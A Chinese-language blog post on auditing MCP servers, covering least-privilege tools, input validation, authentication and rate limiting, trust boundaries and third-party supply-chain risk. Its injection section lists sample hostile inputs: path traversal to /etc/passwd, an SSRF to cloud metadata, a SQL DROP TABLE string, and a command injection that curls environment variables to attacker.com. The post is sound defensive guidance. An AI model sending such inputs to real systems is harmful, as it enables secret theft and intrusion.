#AI Agent#DevOps

MCP Server 的安全审计

MCP 让 AI 工具能即插即用调用你的能力,也把你的数据和操作暴露给了所有兼容客户端——安全面不小。本文讲清 MCP Server 的安全审计要点:工具权限最小化、参数校验与注入防护、远程 Server 的鉴权与限流、信任边界(本地 vs 远程)、供应链(第三方 MCP server 的风险),以及一份 MCP Server 上线前的安全 checklist。

本文要点

  • 主题聚焦:AI Agent、DevOps
  • 适合人群:独立开发者、全栈工程师、AI 应用开发者
  • 核心价值:快速理解背景、实践路径、常见误区和工程建议
作者 @admin·发布于 2025年11月16日·更新于 2026年7月23日

MCP 的卖点是"一次封装,所有客户端通用"。这句话反过来读就是它全部的安全问题:你把能力暴露给的不是某个可信客户端,而是所有兼容 MCP 的客户端——包括恶意的那一个。

一个本地 stdio 的 MCP Server 看起来人畜无害,但它跑在你机器上、读你的文件、拿你的 token;一个远程 HTTP 的 MCP Server 看起来只是个 API,但任何知道地址的人都能让它代为执行操作。很多团队上线 MCP Server 时只想着"功能跑通",没想过它在攻击面里相当于一个带凭据的 RPC 端点。这篇讲清楚 MCP Server 上线前该审什么。

一、先看清 MCP 的安全模型与风险面

MCP 本身不提供安全边界,它只定义通信契约。安全责任全部落在两端:Server 怎么暴露能力、Client 怎么用人。风险面至少包括这几层:

  • 能力暴露:每个 tool/resource 都是一条新的调用入口,描述写错了模型就会误用。
  • 参数即输入:用户或模型构造的参数会进入你的下游(SQL、shell、文件路径、HTTP URL)。
  • 凭据归属:Server 进程持有的密钥、token、文件权限,等于把它信任的所有 client 都放行到了这些资产。
  • 客户端不可信:规范允许任意 client 连接。你不能假设对面一定是 Claude Code 或 Cursor,它完全可以是攻击者写的脚本。

把 MCP Server 当成一个"对外的 RPC 服务"来审计,而不是"一个本地小工具",心态就对了。

二、工具权限最小化

第一个要审的是 tool 列表本身。常见反模式:为了省事,一个 Server 暴露一个 run_sql(query) 或 exec(command)。这等于把数据库账号和 shell 直接交给 client。

正确做法按粒度拆分,每个 tool 只暴露必要能力:

ts
// 反例:万能入口
server.tool("query", "run any SQL", { sql: z.string() }, async ({ sql }) =>
  run(sql),
);

// 正例:固定意图 + 固定表 + 固定字段
server.tool(
  "get_order_status",
  "Return the status of one order by its numeric ID. Read-only.",
  { orderId: z.number().int().positive() },
  async ({ orderId }) => getOrderStatus(orderId), // 内部用预编译语句
);

注意三点:描述要写死边界("Read-only"、"by its numeric ID")——模型选 tool 时主要看描述;参数用最严格的 schema(z.number().int() 而不是 z.any());危险操作(转账、删除、发布、发邮件)不做自动执行,要么要求 client 传入二次确认 token,要么直接拒绝并在结果里返回"需要人工确认"。

三、参数注入防护:tool 输入就是用户输入

orderId 这种简单参数好办,zod 能挡住类型攻击。真正危险的是字符串参数会被拼进下游。模型(或攻击者控制的 client)完全可以传入:

  • path: "../../etc/passwd" —— 路径穿越,逃出预期目录。
  • url: "http://169.254.169.254/latest/meta-data/" —— SSRF,探云内网元数据。
  • q: "x'; DROP TABLE orders;--" —— SQL 注入。
  • cmd: "ls; curl attacker.com/$(env)" —— 命令注入。

防御原则和写 Web 后端一样:永远参数化,永远不字符串拼接。文件路径要在规范化后做根目录校验:

ts
import path from "node:path";

const ROOT = path.resolve("./notes");
function safeJoin(slug: string) {
  const full = path.resolve(ROOT, slug);
  if (!full.startsWith(ROOT + path.sep) && full !== ROOT) {
    throw new Error("path outside notes dir");
  }
  return full;
}

URL 参数要走 allowlist(只允许 https://api.github.com/* 这类),并显式拦截私网/链路本地地址。SQL 一律走预编译 + 只读账号。shell?能不暴露就不暴露;非要暴露,就用固定命令 + 受限参数,而不是 exec(command)。

四、远程 MCP Server 的鉴权、限流与审计

本地 stdio 靠"进程能起来 = 你授权过"隐式鉴权;远程 HTTP 不行。一个裸跑的 http.createServer 接 Streamable HTTP,等于一个无认证 RPC。必须在入口校验身份:

ts
const httpServer = createServer(async (req, res) => {
  const token = req.headers.authorization?.replace(/^Bearer\s+/i, "");
  const principal = await verifyToken(token); // OAuth introspect 或 JWT 校验
  if (!principal) return respond(res, 401, "unauthorized");

  // 把 principal 注入到本次调用的 tool 执行上下文
  const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined });
  transport.onmessage = (msg) => enforceScopes(msg, principal); // 按 client 限 scope
  await server.connect(transport);
  await transport.handleRequest(req, res);
});

远程 Server 至少要做到:每个 client 一个凭据(不要全局共享 token)、按 scope 授权(只读 client 拿不到写 tool)、按 client 限流(QPS + 并发,防滥用和 DoS)、结构化审计日志(who/tool/args/latency/result 每次一行,出事能查)。敏感操作最好接入你现有的 SSO 与权限系统,而不是自造一套。

五、信任边界:本地 stdio vs 远程 HTTP,两套规矩

这两类 Server 的威胁模型完全不同,不要混用一套策略:

维度本地 stdio远程 HTTP
谁能连只有当前用户启动的 client知道地址的任何人
鉴权进程启动即授权必须显式鉴权
凭据可用本机用户级凭据最小权限 + 按 scope 收敛
网络默认无网络出口风险需考虑 SSRF、DDoS
审计本地日志即可必须有可查的审计链

常见错误是把本该只在本地跑的 Server(读写本地文件、用个人 token)直接挂成远程,然后共享一个 token 给全团队。正确做法是:能力越大,边界越要收紧——远程版重新评估每个 tool 是否真的需要暴露,把"本地够用但远程危险"的 tool 直接下掉。

六、供应链风险:装第三方 MCP server 等于装一个能读你文件的后台进程

这条最容易被忽视。你 npx some-cool-mcp-server 启动的那一刻,它就拿到了你本机的文件读权限、环境变量里的密钥、你的网络。一条 tool 叫 summarize_file,description 写得人畜无害,实现里完全可以偷偷把 .env 发出去。npm 上仿冒同名包、postinstall 脚本投毒,这些传统供应链攻击在 MCP 语境下全都成立。

审计第三方 MCP server 的清单:

  • 来源:@modelcontextprotocol 官方包锁定版本;社区包看发布者、star、最近提交,优先选源码可审的。
  • 权限:npx --no-install 或容器隔离运行,先看它要哪些 env、访问哪些目录,给最小权限。
  • 网络:不需要联网的 Server,用网络隔离(容器/防火墙)断掉出口。这一招能挡掉绝大多数数据外传。
  • 准入:团队层面维护一份 allowlist,不允许成员随意新增未审 Server,尤其是连着生产凭据的环境。

七、上线前的安全 checklist

把前面几节收敛成一份可勾选的清单:

  1. Tool 粒度:无万能入口(run_sql/exec/shell),每个 tool 固定意图、只暴露必要字段。
  2. Schema 严格:所有参数有 zod/JSON Schema 约束,字符串有长度和正则,数字有范围。
  3. 注入防护:路径规范化 + 根目录校验;URL allowlist + 私网拦截;SQL 全参数化 + 只读账号。
  4. 危险操作:删除、转账、发布、发邮件等不可逆操作必须人工确认,不自动执行。
  5. 远程鉴权:每个 client 独立凭据,token 不共享,按 scope 授权。
  6. 限流:按 client 限 QPS 与并发,设响应大小和超时上限。
  7. 审计日志:每次 tool 调用记录 who/tool/args/result,可追溯、可告警。
  8. 凭据最小化:Server 进程只持有必须的 token/文件权限,生产凭据与开发隔离。
  9. 供应链:第三方 Server 经来源/权限/网络三审,团队 allowlist 准入。
  10. 威胁演练:把自己当成恶意 client,尝试路径穿越、SSRF、越权 scope,看哪一步会断。

小结

MCP 的安全本质一句话:它把"你的能力"接入了"任意兼容客户端",所以每多一个 tool 就多一个对外的 RPC 入口。审 MCP Server 的方法论和审后端服务一致——最小权限、参数即攻击面、严格鉴权、审计可查、边界分明、供应链受控——只是这次攻击者可能就坐在 client 那头。

  • 每个 tool 只暴露必要能力,危险操作必须二次确认。
  • 字符串参数一律参数化,路径做根目录校验,URL 做 allowlist。
  • 本地 stdio 靠启动授权,远程 HTTP 必须显式鉴权 + 限流 + 审计。
  • 第三方 MCP server 当成带凭据的后台进程审,能用网络隔离就别让它联网。

功能让你能上线,MCP 让你能被所有 client 调用,而安全审计决定的是——在被调用时,你到底把什么暴露了出去。

Related

相关推荐